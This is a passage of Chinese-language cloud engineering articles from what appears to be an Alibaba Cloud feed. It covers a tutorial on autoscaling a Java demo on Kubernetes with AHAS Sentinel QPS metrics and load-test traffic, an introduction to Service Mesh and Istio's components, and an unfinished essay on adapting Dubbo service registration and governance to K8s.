        登录容器服务 Kubernetes 版控制台,在左侧导航栏选择 市场 > 应用目录,在右侧选中 ack-ahas-sentinel-pilot。在应用目录 - ack-ahas-sentinel-pilot 页面上,在右侧的创建面板中选择前提条件中创建的集群和命名空间,并单击创建。

        1572500649423-2884150b-aece-4c7f-88b0-f1c6ae223ea3.png

        2. 启动 Java 应用

        安装好 ack-ahas-sentinel-pilot 以后,我们可以拉起一个 Java 应用示例,对应的 ConfigMap/Deployment/Service 如下:

        apiVersion: v1
        kind: ConfigMap
        metadata:
          name: foo-service-cm-pilot
        data:
          application.yaml: |
            spring:
              application:
                name: foo-service
            server:
              port: 8700
            eureka:
              instance:
                preferIpAddress: true
              client:
                enabled: false
            logging:
              file: /foo-service/logs/application.log
        ---
        apiVersion: apps/v1
        kind: Deployment
        metadata:
          name: agent-foo-on-pilot
          labels:
            name: agent-foo-on-pilot
        spec:
          replicas: 1
          selector:
            matchLabels:
              name: agent-foo-on-pilot
          template:
            metadata:
              labels:
                name: agent-foo-on-pilot
              annotations:
                ahasAppName: "foo-service-on-pilot"
                ahasNamespace: "default"
            spec:
              containers:
                - name: master
                  image: registry.cn-hangzhou.aliyuncs.com/sentinel-docker-repo/foo-service:latest
                  imagePullPolicy: Always
                  ports:
                    - containerPort: 8700
                  volumeMounts:
                    - name: foo-service-logs
                      mountPath: /foo-service/logs
                    - name: foo-service-config
                      mountPath: /foo-service/config
                  resources:
                    limits:
                      cpu: "0.5"
                      memory: 500Mi
                    requests:
                      cpu: "0.5"
                      memory: 500Mi
              volumes:
                - name: foo-service-logs
                  emptyDir: {}
                - name: foo-service-config
                  configMap:
                    name: foo-service-cm-pilot
                    items:
                      - key: application.yaml
                        path: application.yml
        ---
        apiVersion: v1
        kind: Service
        metadata:
          name: foo-service
          labels:
            name: foo-service
        spec:
          ports:
          - port: 80
            targetPort: 8700
          selector:
            name: foo-service
          type: LoadBalancer
          externalTrafficPolicy: Local

        我们在对应的 Deployment 的 template > metadata > annotation 中配置了 AHAS 应用名称(ahasAppName)和命名空间(ahasNamespace),部署后该应用会显示在 AHAS 流控降级控制台 对应 region 的应用列表中:

        1571020560431-71fb4939-9f25-4a0f-b8a9-bdc0d4897aad.png

        我们可以通过 SLB 对外暴露的 external IP 来访问该 Web 服务。可以在 容器服务控制台 - 服务 中拿到该 Service 对应的 external IP(或者通过 kubectl get services):

        external-service-ip.png

        该示例外部应用提供一个 /foo/time API,返回当前时间戳。我们可以访问该 API 来调用该服务,比如 http://121.196.243.208/foo/time

        3. 创建 HPA 配置

        接下来我们针对我们的 demo Java 应用来手动创建 HPA,通过 kubectl 命令实现容器自动伸缩配置。

        AHAS Sentinel 目前支持四种 metric 判断指标:

        • ahas_sentinel_total_qps:应用的总 QPS(pass+block,平均到每台机器)
        • ahas_sentinel_pass_qps:应用的通过 QPS(平均到每台机器)
        • ahas_sentinel_block_qps:应用的拒绝 QPS(平均到每台机器)
        • ahas_sentinel_avg_rt:应用的平均响应时间

        示例 HPA:

        apiVersion: autoscaling/v2beta2
        kind: HorizontalPodAutoscaler
        metadata:
          name: ahas-sentinel-hpa
        spec:
          scaleTargetRef:
            apiVersion: apps/v1beta2
            kind: Deployment
            name: agent-foo-on-pilot
          minReplicas: 1
          maxReplicas: 3
          metrics:
            - type: External
              external:
                metric:
                  name: ahas_sentinel_total_qps
                  selector:
                    matchLabels:
                    # If you're using AHAS Sentinel pilot, then the appName and namespace
                    # can be retrieved from the annotation of target Deployment automatically.
                    # ahas.sentinel.app: "foo-service-on-pilot"
                    # ahas.sentinel.namespace: "default"
                target:
                  type: Value
                  # ahas_sentinel_total_qps > 30
                  value: 30

        上述的配置针对 agent-foo-on-pilot Deployment 对应的应用进行自动弹性伸缩,判断的指标是 AHAS Sentinel 中统计的应用 QPS(平均到每台机器),超过 30 就进行扩容,最大扩容副本数为 3。

        将以上配置保存成 ahas-sentinel-hpa.yml,我们可以执行 kubectl apply -f ahas-sentinel-hpa.yml 来创建 HPA 配置。

        4. 发起压测流量,观察弹性效果

        我们提供了发送压测流量的 image,方便测试弹性效果。以下是压测流量 runner 的 Deployment:

        apiVersion: apps/v1
        kind: Deployment
        metadata:
          name: flow-runner
          labels:
            name: flow-runner
        spec:
          replicas: 1
          selector:
            matchLabels:
              name: flow-runner
          template:
            metadata:
              labels:
                name: flow-runner
            spec:
              containers:
                - name: runner
                  image: registry.cn-hangzhou.aliyuncs.com/sentinel-docker-repo/flow-runner:0.1.0
                  imagePullPolicy: Always
                  env:
                    # 在此处更新为实际的地址
                    - name: TARGET_URL
                      value: "http://112.124.154.227/foo/time"
                    # 每次请求的时间间隔(s),比如 0.1 就代表 QPS 为 10
                    - name: SLEEP_TIME
                      value: "0.1"

        我们可以控制该 runner 的副本数来控制压测的 QPS,比如上述示例中调整 replica = 3 即对应 30 QPS。

        我们可以在 容器服务控制台 - 无状态 页面将 replica 数目调成 4,使得 QPS 超过临界值,触发扩容:

        scale-4.png

        一段时间后,可以看到对应的应用容器数目自动扩容成了 2:

        hpa-to-2.png

        AHAS 控制台 - 应用流控 - 机器列表页面也可以看到增加的实例:

        machine-list.png

        然后我们再把 flow-runner 的副本数调成 1,一段时间后(约 5 分钟)对应的容器会自动缩容到一个实例:

        hpa-downscale-1.png

        hpa-to-1-console.png

        ]]>
        Service Mesh 初体验 Fri, 02 May 2025 09:39:04 +0800 前言

        计算机软件技术发展到现在,软件架构的演进无不朝着让开发者能够更加轻松快捷地构建大型复杂应用的方向发展。容器技术最初是为了解决运行环境的不一致问题而产生的,随着不断地发展,围绕容器技术衍生出来越来越多的新方向。

        最近几年,云计算领域不断地出现很多新的软件架构模式,其中有一些很热门的概念名词如:云原生、函数计算、Serverless、ServiceMesh等等,而本文将初窥一下ServiceMesh的面纱。下面结合自己的理解尽量以通俗的话进行叙述。

        背景和定义

        微服务及服务治理

        在微服务之前的软件开发中,往往通过一个应用的方式将所有的模块都包括进去,并一起编译、打包、部署、运维。这种方式存在很多问题,由于单个应用包含的东西太多,其中某个模块出现问题或者需要更新那么整个应用就需要重新部署。这种方式给开发和运维带来了很大的麻烦。随着应用的逐渐复杂,单个应用涉及的东西就会越来越多,慢慢地大家发现了其中很多的缺点,开始对服务进行划分,将一个大的应用按照不同的维度进行划分从而产生很多个小的应用,各应用之间会形成一个调用关系,每个小的应用由不同的开发负责,大家各自部署和运维,这样微服务就出现了。

        由于微服务中各应用部署在不同的机器上,服务之间需要进行通信和协调,相比单个应用来说会麻烦很多。在同一个应用内不同方法之间的调用由于在相同的内存中,在代码编译打包时已经进行了链接,因此调用是可寻址且快速的。微服务下不同服务之间的调用涉及到不同进程或者机器之间的通信,一般需要通过第三方中间件的方式作为中介和协调,由于种种这些,面向微服务出现了很多中间件包括服务治理的框架。通过服务治理工具可以管理其接入的所有应用,使得服务之间的通信和协调更加简单高效。

        容器及容器编排

        最初容器技术是为了解决应用运行环境不一致的问题而出现的,避免在本地环境或者测试环境能够跑通,等发到生产环境却出现问题。通过容器将程序及其依赖一起打包到镜像中去,将程序的镜像在任何安装并运行了容器软件的机器上启动若干的容器,每个容器就是应用运行时的实例,这些实例一般拥有完全相同的运行环境和参数。使得不管在任何机器上应用都可以表现出一样的效果。这给开发、测试、运维带来了极大的便利,不再需要为不同机器上构建相同的运行环境而头大。且镜像可以Push到镜像仓库,这使得应用可以进行很方便的迁移和部署。Docker就是一个应用广泛的容器技术。目前越来越多的应用以微服务的方式并通过容器进行部署,给了软件开发极大的活力。

        与微服务和服务治理的关系类似,越来越多的应用通过容器进行部署,使得集群上的容器数量急剧增加,通过人工的管理和运维这些容器已经变得很艰难且低效,为了解决诸多容器及容器之间的关系出现了很多编排工具,容器编排工具能够管理容器的整个生命周期。如Docker官方出的docker-compose和docker swarm,这两个工具能实现批量容器的启动和编排,但功能较为简单,不足以支撑大型的容器集群。Google基于内部大量的容器管理经验,开源出了Kubernetes项目,Kubernetes(K8S)是针对Google集群上每周亿级别的容器而设计的,具有很强大的容器编排能力和丰富的功能。K8S通过定义了很多资源,这些资源以声明式的方式进行创建,可以通过JSON或者YAML文件表示一个资源,K8S支持多种容器,但主流的是Docker容器,K8S提供了容器接入的相关标准,只要容器实现了该标准就可以被K8S所编排。由于K8S的功能较多,不在此一一叙述,有兴趣可以参考官方文档或者ATA上搜索相关文章。

        当某个公司的应用已经完全微服务化后,选择以容器的方式部署应用,此时可以在集群上部署K8S,通过K8S提供的能力进行应用容器的管理,运维可以也可以面向K8S进行工作。由于K8S是目前使用最广泛的容器编排工具,因此成为了容器编排的一个标准了,目前集团内部也有自己的容器和容器编排工具。

        面向以K8S为代表的容器管理方式衍生出了一些新的技术。

        云原生

        最近两年云原生被炒的很火,可以在各处看到很多大佬对云原生的高谈阔论,下面直接抛出CNCF对云原生的定义:

        云原生技术有利于各组织在公有云、私有云和混合云等新型动态环境中,构建和运行可弹性扩展的应用。云原生的代表技术包括容器、服务网格、微服务、不可变基础设施和声明式API。
        这些技术能够构建容错性好、易于管理和便于观察的松耦合系统。结合可靠的自动化手段,云原生技术使工程师能够轻松地对系统作出频繁和可预测的重大变更。

        在我看来,通过微服务的方式开发应用,以容器进行部署,使用K8S等容器编排工具进行容器集群的管理,使得开发运维都面向K8S,这就是云原生。云原生可以方便的构建应用,并对应用进行完整的监控,以及在应用针对不同流量时能进行快速的扩容和缩容。如下图:

        image.png

        云原生主要包括四个部分:

        • 微服务
        • 容器
        • 持续集成和交付
        • DevOps

        PS:总是觉得云原生这个叫法太抽象了,很难让人通过名字想到这是个啥东西。

        ServiceMesh的定义

        前面讲了微服务、容器、容器编排、云原生等,其实就是为了得出什么是ServiceMesh,自己总结了一下:SeviceMesh是云原生下的微服务治理方案

        当我们通过微服务的方式将应用以容器的形式部署在K8S上后,服务之间调用和治理其实有新的方案,可以不需要依赖传统的微服务治理框架。ServiceMesh通过对每个应用在其Pod中启动一个Sidecar(边车)实现对应用的透明代理,所有出入应用的流量都先经过该应用的Sidecar,服务之间的调用转变成了Sidecar之间的调用,服务的治理转变成了对Sidecar的治理。在ServiceMesh中Sidecar是透明的,开发无感知的,之前一直觉得奇怪,总觉得一个应用要让别人发现它从而调用它,总得引入一些库然后进行主动的服务注册,不然啥都不做,别人咋知道这个应用的存在,为什么在ServiceMesh中就可以省去这些,做到对开发者完全地透明呢?这个的实现依赖于容器编排工具,通过K8S进行应用的持续集成和交付时,在启动应用Pod后,其实已经通过Yaml文件的形式向K8S注册了自己的服务以及声明了服务之间的关系,ServiceMesh通过和K8S进行通信获取集群上所有的服务信息,通过K8S这个中间者实现了对开发者的透明。如下图所示,是ServiceMesh的一个基本结构,包括数据平面和控制平面。

        image.png

        这种方式存在很多好处,我们可以发现在这种模式下应用的语言其实不会对整个服务治理过程有什么影响,对于ServiceMesh来说,它只关心Pod或者说是Pod中的容器实例,并不需要在乎容器中应用的实现语言是啥,Sidecar和其负责的容器在同一个Pod中。这样ServiceMesh就可以实现跨语言,这也是目前很多传统的服务治理框架的一大缺点,而且采用传统的服务治理,需要对应用引入大量的依赖,这样就会造成依赖之间的各种冲突,集团通过Pandora对应用的各种依赖进行隔离。再者传统的服务治理门槛较高,需要开发者对整个架构有一定的了解,且发现问题排查较为麻烦。这也造成了开发和运维之间的界限不清,在ServiceMesh中开发只需要交付代码,运维可以基于K8S去维护整个容器集群。

        发展现状

        通过目前查阅的资料来看,ServiceMesh一词最早出现在2016年,最近两年被炒的很火,蚂蚁金服已经有了自己的一套完整的ServiceMesh服务框架--SofaMesh,集团很多团队也在进行相应的跟进。

        从历史发展的路线来看,程序的开发方式经历了很多的变化,但总的方向是变得越来越简单了,现在我们在集团内进行开发,可以很简单的构建一个支撑较大QPS的服务,这得益于集团的整个技术体系的完整和丰富以及强大的技术积淀。

        我们下面来看看应用开发到底经历了啥?

        发展历史

        主机直接阶段

        image.png

        如上图,这一阶段应该是最古老的阶段,两台机器通过网线直接连接,一个应用包含了你能想到的所有的功能,包括两台机器的连接管理,这时还没有网络的概念,毕竟只能和通过网线直接连接在一起的机器进行通信。

        网络层的出现

        image.png

        如上图,随着技术的发展,网络层出现了,机器可以和通过网络连接的其他所有机器进行通信,不再限制于必须要网线直连两台机器。

        集成到应用程序内部的流量控制

        image.png

        如上图,由于每个应用所在环境和机器配置不一样,接受流量的能力也不相同,当A应用发送的流量大于了B应用的接受能力时,那么无法接收的数据包必定会被丢弃,这时就需要对流量进行控制,最开始流量的控制需要应用自己去实现,网络层只负责接收应用下发的数据包并进行传输。

        流量控制转移到网络层

        image.png

        如上图,慢慢地大家发应用中的网络流量控制是可以转移到网络层的,所以网络层中的流量控制出现了,我想大概就是指TCP的流量控制吧,这样还能保证可靠的网络通信。

        应用程序的中集成服务发现和断路器

        image.png

        如上图,开发者通过在自己的代码模块中实现服务发现和断路器。

        专门用于服务发现和断路器的软件包/库

        image.png

        如上图,开发者通过引用第三方依赖去实现服务发现和断路器。

        出现了专门用于服务发现和断路器的开源软件

        image.png

        如上图,基于各种中间件去实现服务发现和断路器。

        ServiceMesh出现

        image.png

        最终到了现在,ServiceMesh大法诞生,进一步解放了生产力,提高了软件整个生命周期的效率。

        ServiceMesh市场竞争

        虽然直到2017年底,ServiceMesh才开始较大规模被世人了解,这场微服务市场之争也才显现,但是其实ServiceMesh这股微服务的新势力,早在 2016年初就开始萌芽:

        2016年1月,离开Twitter的基础设施工程师William Morgan和Oliver Gould,在github上发布了Linkerd 0.0.7版本,业界第一个ServiceMesh项目就此诞生。Linkerd基于Twitter的Finagle开源项目,大量重用了Finagle的类库,但是实现了通用性,成为了业界第一个ServiceMesh项目。而Envoy是第二个ServiceMesh项目,两者的开发时间差不多,在2017年都相继成为CNCF项目。2017年5月24日,Istio 0.1 release版本发布,Google和IBM高调宣讲,社区反响热烈,很多公司在这时就纷纷站队表示支持Istio。Linkerd的风光瞬间被盖过,从意气风发的少年一夜之间变成过气网红。当然,从产品成熟度上来说,linkerd作为业界仅有的两个生产级ServiceMesh实现之一,暂时还可以在Istio成熟前继续保持市场。但是,随着Istio的稳步推进和日益成熟,外加第二代ServiceMesh的天然优势,Istio取代第一代的Linkerd只是个时间问题。自从在2016年决定委身于Istio之后,Envoy就开始了一条波澜不惊的平稳发展之路,和Linkerd的跌宕起伏完全不同。在功能方面,由于定位在数据平面,因此Envoy无需考虑太多,很多工作在Istio的控制平面完成就好,Envoy从此专心于将数据平面做好,完善各种细节。在市场方面,Envoy和Linkerd性质不同,不存在生存和发展的战略选择,也没有正面对抗生死大敌的巨大压力。

        从Google和IBM联手决定推出Istio开始,Istio就注定永远处于风头浪尖,无论成败,Istio面世之后,赞誉不断,尤其是ServiceMesh技术的爱好者,可以说是为之一振:以新一代ServiceMesh之名横空出世的Istio,对比Linkerd,优势明显。同时产品路线图上有一大堆令人眼花缭乱的功能。假以时日,如果Istio能顺利地完成开发,稳定可靠,那么这会是一个非常美好、值得憧憬的大事件,

        image.png

        Istio介绍

        Istio是目前最热的ServiceMesh开源项目,Istio主要分为两个部分:数据平面和控制平面。Istio实现了云原生下的微服务治理,能实现服务发现,流量控制,监控安全等。Istio通过在一个Pod里启动一个应用和Sidecar方式实现透明代理。Istio是一个拓展性较高的框架,其不仅可以支持K8S,还可以支持其他如Mesos等资源调度器。如下图所示,为Istio的整体架构:

        image.png

        • 逻辑上分为数据平面(上图中的上半部分)和控制平面(上图中的下半部分)。
        • 数据平面由一组以 Sidecar 方式部署的智能代理(Envoy)组成。这些代理可以调节和控制微服务及 Mixer 之间所有的网络通信。
        • 控制平面负责管理和配置代理来路由流量。此外控制平面配置 Mixer 以实施策略和收集遥测数据。
        • Pilot是整个架构中的抽象层,将对接K8S等资源调度器的步骤进行抽象并以适配器的形式展现,并和用户以及Sidecar交互。
        • Galley负责资源配置为验证。
        • Citadel用于生成身份,及密钥和证书管理
        • 核心功能包括流量控制、安全控制、可观测性、多平台支持、可定制化。

        Mixer

        Mixer同样是一个可拓展的模块,其负责遥感数据的采集以及集成了一些后端服务(BAAS),Sidecar会不断向Mixer报告自己的流量情况,Mixer对流量情况进行汇总,以可视化的形式展现,此外Sidecar可以调用Mixer提供的一些后端服务能力,例如鉴权、登录、日志等等,Mixer通过适配器的方式对接各种后端服务。

        image.png

        In-process Adapter形式

        之前版本的Isito采用这种将后端服务适配器集成在Mixer内部的形式,这种方式会有一个问题,就是某个后端服务适配器出现问题即会影响整个Mixer模块,但由于适配器和Mixer集成在一起,在同一个进程内,方法的调用会很快。

        image.png

        Out-of-process Adapter形式

        目前版本的Istio将Adapter移到Mixer外部,这样可以实现Mixer与Adapter的解耦,当Adapter出现问题并不会影响Mixer,但这种方式同样也存在问题,即Adapter在Mixer外,是两个不同的进程,二者之间的调用是通过RPC的方式,这种方式比同进程内部的方法调用会慢很多,因此性能会受到影响。

        Pilot

        image.png

        • Envoy API负责和Envoy的通讯, 主要是发送服务发现信息和流量控制规则给Envoy。
        • Abstract Model 是 Pilot 定义的服务的抽象模型, 以从特定平台细节中解耦, 为跨平台提供基础。
        • Platform Adapter则是这个抽象模型的实现版本, 用于对接外部的不同平台如k8s/mesos等。
        • Rules API提供接口给外部调用以管理 Pilot, 包括命令行工具Istioctl以及未来可能出现的第三方管理界面。

        Galley

        Galley 原来仅负责进行配置验证, 1.1 后升级为整个控制面的配置管理中心, 除了继续提供配置验证功能外, Galley还负责配置的管理和分发, Galley 使用 网格配置协议(Mesh Configuration Protocol) 和其他组件进行配置的交互.

        Istio 创造了50多个CRD, 其复杂度可见一斑, 所以有人说面向k8s编程近似于面向yaml编程.早期的Galley 仅仅负责对配置进行运行时验证, Istio 控制面各个组件各自去list/watch 各自关注的配置。越来越多且复杂的配置给Istio用户带来了诸多不便, 主要体现在:

        • 配置的缺乏统一管理, 组件各自订阅, 缺乏统一回滚机制, 配置问题难以定位。
        • 配置可复用度低, 比如在1.1之前, 每个Mixer adpater 就需要定义个新的CRD。
        • 配置的隔离, ACL 控制, 一致性, 抽象程度, 序列化等等问题都还不太令人满意

        随着Istio功能的演进, 可预见的Istio CRD数量还会继续增加, 社区计划将Galley 强化为Istio配置控制层, Galley 除了继续提供配置验证功能外, 还将提供配置管理流水线, 包括输入, 转换, 分发, 以及适合Istio控制面的配置分发协议(MCP)。

        Citadel

        将服务拆分为微服务之后,在带来各种好处的同时,在安全方面也带来了比单体时代更多的需求,毕竟不同功能模块之间的调用方式从原来单体架构中的方法调用变成了微服务之间的远程调用:

        • 加密:为了不泄露信息,为了抵御中间人攻击,需要对服务间通讯进行加密。
        • 访问控制:不是每个服务都容许被任意访问,因此需要提供灵活的访问控制,如双向 TLS 和细粒度的访问策略。
        • 审计:如果需要审核系统中哪些用户做了什么,则需要提供审计功能。

        Citadel 是 Istio 中负责安全性的组件,但是 Citadel 需要和其他多个组件配合才能完成工作:

        • Citadel:用于密钥管理和证书管理,下发到Envoy等负责通讯转发的组件。
        • Envoy:使用从Citadel下发而来的密钥和证书,实现服务间通讯的安全,注意在应用和Envoy之间是走Localhost,通常不用加密。
        • Pilot:将授权策略和安全命名信息分发给Envoy。
        • Mixer:负责管理授权,完成审计等。

        Istio支持的安全类功能有:

        • 流量加密:加密服务间的通讯流量。
        • 身份认证:通过内置身份和凭证管理可以提供强大的服务间和最终用户身份验证,包括传输身份认证和来源身份认证,支持双向TLS。
        • 授权和鉴权:提供基于角色的访问控制(RBAC),提供命名空间级别,服务级别和方法级别的访问控制。

        作者信息:彭家浩,花名毅忻,阿里巴巴淘系技术部开发工程师,热爱云计算。

        附加信息

        笔者工作于阿里巴巴淘系技术部开放平台和聚石塔团队,一个即专注技术也专注业务的团队,我们真诚地希望能有更多对云计算、云原生等方面有激情的小伙伴加入我们!期待!

        招聘详情点击这里

        笔者邮箱:jiahao.jiahaopeng@alibaba-inc.com

        ]]>
        Dubbo 在 K8s 下的思考 Fri, 02 May 2025 09:39:04 +0800 作者 | 曹胜利  Apache Dubbo PMC

        导读:Dubbo 作为高性能 Java RPC 框架的刻板印象早已深入人心,在 Cloud Native 的架构选型上,Spring Cloud 或许才是业界的优先选择。实际上,Dubbo 已经悄然地衍进为 Cloud Native 基础设施,不仅承袭过去 RPC 时代的荣耀,而且也完善了现有基础设施的缺失。自从容器和 K8s 登上舞台之后,给原有的 RPC 领域带来了很大的挑战,本文主要讲述 RPC 领域遇到的问题,以及 RPC 怎么去拥抱 K8s 的一些思考。

        K8s 介绍

        Kubernetes 是一个开源的,用于管理云平台中多个主机上的容器化的应用, Kubernetes 的目标是让部署容器化的应用简单并且高效, Kubernetes 提供了应用部署、规划、更新、维护的一种机制。Kubernetes 简称 K8s。

        a002

        在 Kubernetes 中,最小的管理元素不是一个个独立的容器,而是 Pod 。Pod 的生命周期需要注意以下几点:

        • 容器和应用可能随时被杀死;
        • Pod Ip 和主机名可能变化 (除非使用 StatefulSet 进行定制);
        • 写到本地的磁盘的文件可能消失,如果想不失效,需要用存储卷。

        应用 & 容器 & Pod 的关系

        • 应用部署在容器中,一般情况下一个应用只部署在一个容器中;
        • 一个 Pod 下可以包含一个或多个容器,一般情况下一个 Pod 只建议部署一个容器。下列场景除外:

          • side car;
          • 一个容器的运行以来与本地另外一个容器。如一个容器下应用负责下载数据,另外一个容器下应用向外提供服务。

        Service

        如果一些 Pods 提供了一些功能供其它的 Pod 使用,在 Kubernete 集群中是如何实现让这些前台能够持续的追踪到这些后台的?答案是:Service 。

        Kubernete Service 是一个定义了一组 Pod 的策略抽象,这些被服务标记的 Pod 一般都是通过 label Selector 决定的。Service 抽象了对 Pod 的访问。

        默认的 Service ,通过一个集群 IP 获取 A Record 。但是有时需要返回所有满足条件的 Pod IP 列表,这时候可以直接使用 Headless Services 。

        参考:https://kubernetes.io/

        推荐书籍:[kubernetes in action]

        RPC 介绍和分析

        随着微服务的普及,应用之间的通信有了足够多的成熟方案。

        • Dubbo 在 2011 年开源之后,被大量的中小型公司采用;
        • 在 Spring Boot 推出之后,Spring 逐渐焕发出第二春,随即 Spring Cloud 面世,逐渐占领市场,在中国市场中,和 Dubbo 分庭抗争;
        • gRPC 是 Google 推出的基于 Http2 的端到端的通信工具,逐渐在 K8s 市场上占据统治地位,如 etcd,Istio 等都采用 gRPC 作为通信工具;
        • Service Mesh 从开始概念上就火热,现在逐渐走向成熟;
        • Istio + Envoy (其他 sidecar )逐渐开始走上舞台。

        应用开发者视角

        从功能层面来说,对开发者有感知的功能有:

        • 服务实现
        • 服务暴露(注解或配置)
        • 服务调用(注解或配置)
        • 服务治理等

        从选型角度会关注以下几点:

        • 易用性(开发易用性和开箱即用)
        • 性能
        • 功能
        • 扩展性等

        框架开发者视角

        关键流程:

        • 服务暴露
        • 服务注册
        • 服务发现
        • 服务调用
        • 服务治理

        关键知识点:

        • 序列化
        • 网络通信
        • 服务路由
        • 负载均衡
        • 服务限流
        • 熔断
        • 降级等服务治理

        主流技术实现

        Dubbo / HSF

        a003

        • Dubbo 提供了面向接口的远程方法调用。应用开发者定义接口,编写服务并暴露;
        • Client 端通过接口进行调用;
        • Dubbo 注册服务的维度是接口维度,每个接口会在注册中心写入一条数据;
        • Dubbo 支持条件路由,脚本路由,Tag 路由等。这些路由规则都是强依赖于 IP 地址。

        备注:Dubbo 和 HSF 的大部分机制都是相似的,所以下面都以 Dubbo 作为方案进行讨论。

        SpringCloud

        Spring Cloud 通过 Rest 形式进行网络调用。应用开发者可以自己编写暴露 Rest 服务,如 springmvc 。

        Spring Cloud 里的服务注册是应用维度( Eureka ),Client 端和 Server 端通过约定的方式进行通信。

        Spring Cloud 提供了一套标准 API ,而其中 Netflix 是其中的佼佼者,对这套 API 进行了实现,对大部分开发者来说,可以回直接依赖和使用 Netflix ,所以可以说是 Netflix 提供成了 Spring Cloud 的核心。但是作为商业公司对开源投入往往会多变,如 Eureka 已经体制维护。

        gRPC

        gRPC 是一个基于 HTTP/2 协议设计的 RPC 框架,它采用了 Protobuf 作为 IDL。gRPC 作为端到端的通信方案,可以解决现在的多语言问题。

        gRPC 本身不提供服务注册,服务治理的功能。但现在可以看到 gRpc 有趋势往这方面扩展的野心。

        K8s

        K8s 体系里暂时没有公允的通信框架,一般推荐 gRPC 作为 RPC 框架。

        K8s 体系的默认情况下, Pod 的 IP 是变化的,所以 Pod 和 Pod 之间需要通信的话,有几种方式:

        • Service+DNS:新建一个 Service ,可以通过标签选择到一组 Pod 列表,这个 Service 对应一个不变的集群 IP ;Client 端通过 DNS 方式或者直接访问集群 IP。这个集群 IP ,约等于实现了负载均衡 ( iptable 方式);
        • headless service:headless service 和上面的 service 的区别是,它不提供集群 IP ,通过主机名的形式获取一组 IP 列表,Client 端自己决定访问哪个 Pod。

        Istio + Envoy

        a004

        Istio 的控制层会向 K8s 的 Api server 请求并监听 pod 信息,service 信息等信息。这样 Istio 中就有了完整的 K8s 集群中的 pod,service 等的完整信息。如果 K8s 集群中有信息变更,Istio 中也可以得到通知并更新对应的信息。

        Envoy 作为 Proxy 一个最常见的实现,以 Envoy 作为例子简单介绍。Envoy 通过查询文件或管理服务器来动态发现资源。对应的发现服务及其相应的 Api 被称作 xDS 。协议内容包括 LDS、RDS、CDS 等等。

        参考资料

        Service Mesh 介绍:https://www.infoq.cn/article/pattern-service-mesh[Istio]

        路由规则:https://istio.io/docs/tasks/traffic-management/request-routing/

        备注:上述知识是通过查阅资料( Istio 官网),以及和集团 Service Mesh 同学沟通获得。如有问题,欢迎指正。

        小结

        a005

        遇到的问题和挑战

        Spring Cloud 和 Dubbo 的共生

        Dubbo 默认是基于 TCP 通信,Spring Cloud 大部分基于 Rest 请求。在阿里云实施商业化过程中,发现大量公司需要 Spring Cloud 应用和 Dubbo 进行通信,社区主要依靠 Dubbo 上增加一层网关来解决。

        是否有方案进行统一服务注册发现,以及服务调用呢?

        基础理论可以参考:

        https://yq.aliyun.com/articles/585461

        Dubbo 在 K8s 场景下的挑战

        K8s 下 Pod 的 IP 是变化的 (默认),Dubbo 的服务治理高度依赖 IP 。

        K8s 的服务注册通过 Pod 定义完成,服务发现其实是寻找 Pod 的过程。Pod 和应用有一定的对应关系,和 Dubbo 里的接口维度的服务注册发现模型不是很匹配。

        Dubbo 在 Service Mesh 场景下的生存空间

        Dubbo 需要进行支持裁剪,Dubbo 的大部分功能都可以交由 sidecar ( proxy )来完成。

        如果公司已经在部署 RPC 框架,这时候如果需要实施 Service Mesh ,有什么好的过渡方案吗?

        问题梳理

        服务定义

        服务怎么定义呢?需要从应用开发者角度看待怎么定义服务。

        服务在功能维度对应某一功能,如查询已买订单详情。在 Dubbo 中,对应某个接口下的方法;在 Spring Cloud 和 gRPC 对应一个 http 请求。

        如果从面向函数编程角度,一个服务就是一个 function 。在 Java 语言中,class 是一切编程的基础,所以将某些服务按照一定的维度进行聚合,放到某个接口中,就成了一个接口包含了很多的服务。

        从 Dubbo 角度来解释下:Dubbo 是面向接口编程的远程通信,所以 Dubbo 是面向服务集的编程,你如果想调用某个服务,必须通过接口的方式引入,然后调用接口中的某个服务。Dubbo Ops 中提供的服务查询功能,其实不是查询单个服务,而是通过查询接口(服务集)之后获得具体的方法(服务)。

        而在 Spring Cloud 的世界里,服务提供方会将自己的应用信息( Ip+port )注册成应用下的一个实例,服务消费方和服务提供方按照约定的形式进行 Rest 请求。每个请求对应的也是一个服务。

        和 K8s 里的 Service 的区别

        K8s 里的 Service 其实是对应到一组 pod+port 列表,和 DNS 联系紧密;用通俗易懂的方式表达:维护了 pod 集合的关系映射。和上面讲的服务是属于不同场景下的两个概念。

        按照这个方式定义服务,服务治理的粒度其实也是按照服务粒度,可以针对每个服务设置超时时间,设置路由规则等等。但是服务注册的粒度和服务有什么关系呢?

        服务注册粒度

        一个应用下包含了很多接口,一个接口下包含了很多服务( Dubbo );或者一个应用包含了很多的服务( Spring Cloud )。分析下应用维度注册和接口维度注册的优缺点。会有一篇独立的文章来阐述应用维度注册的方案。

        接口维度注册

        优点:

        • 服务查询按照接口维度查询非常方便,实现难度低;
        • 应用拆分或者合并的时候, Client 端(消费者)无需关心,做到了让用户无感。

        缺点:

        • 和 K8s 等主流平台的模型对应关系不匹配;
        • 注册的数据量非常大,有一定的性能风险。

        应用维度

        优点:

        • 和 K8s,Spring Cloud 等模型对应关系一致;
        • 性能上可以得到很大缓解。

        缺点:

        • 应用拆分或者合并的时候,Client 端需要感知 (如果想做到不感知,需要框架开发者维护一份接口和应用映射关系的存储);
        • 如果想对用户保持 Dubbo 原有的接口维度的查询,需要较多的工作量来保证;
        • 对用户透明度有所减少,需要在 OPS 上提供其他一些工具。如供应用开发者可以查看具体某个 IP 是否提供了某个服务等等。

        Dubbo 和 Spring Cloud

        目标:

        • Dubbo 和 Spring Cloud 的服务发现进行统一;
        • Dubbo 和 Spring Cloud 可以互相调用。

        服务发现统一

        Dubbo 改造成应用维度的服务注册。(具体不展开,后面文章说明)

        打通调用

        Dubbo 实现中,支持将以 Rest 协议进行暴露,并且让 Spring Cloud 识别。

        Dubbo + K8s

        在 K8s 已经阐述过,下面的内容也是假设一个应用部署在一个容器里,一个容器部署在一个 pod 里。

        接下来方案的讨论,互相之间其实是有关联的,如服务治理可能会影响到服务注册发现,服务查询也不能依赖于服务注册的内容。整个设计的过程是不断优化的过程。下面所说的内容,以 Dubbo 来举例说明。

        服务治理

        Dubbo 原有体系里的服务治理是强依赖于 IP ,当配置了一套服务治理规则的时候,最后都是基于一个或多个 IP 地址。

        到 K8s 体系下之后,要考虑的是 Pod 的 IP 不是固定的。所以当前的路由规则不能满足条件,而且会产生很多规则垃圾数据。K8s 体系下,通过 service 查找 Pod ,是基于 label selector ;通过 deployment 管理 Pod ,其实也是基于 Pod label selector 。所以 pod label selector 是在 K8s 习题中比较通用的解决方案。

